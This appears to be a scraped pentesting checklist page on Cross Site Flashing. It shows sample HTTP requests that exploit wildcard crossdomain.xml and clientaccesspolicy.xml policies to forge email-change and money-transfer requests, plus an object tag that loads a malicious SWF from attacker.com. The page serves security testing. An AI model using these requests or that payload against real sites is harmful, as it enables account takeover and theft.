Cross Site Flashing
Check List
Methodology
Black Box
CSRF via Flash (crossdomain.xml Misconfiguration)
crossdomain.xml Misconfiguration)1
2
GET /static/upload.swf HTTP/1.1
Host: target.com3
GET /crossdomain.xml HTTP/1.1
Host: target.com4
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>5
POST /account/change-email HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=attacker@test.com6
7
8
<object data="http://attacker.com/malicious.swf"></object>9
Socket Policy Misconfiguration
1
GET /clientaccesspolicy.xml HTTP/1.1
Host: target.com2
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*" domain="*" />
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>3
POST /api/transfer HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/json
{"amount":1000,"to":"attacker"}4
5
6
White Box
Cheat Sheet
Last updated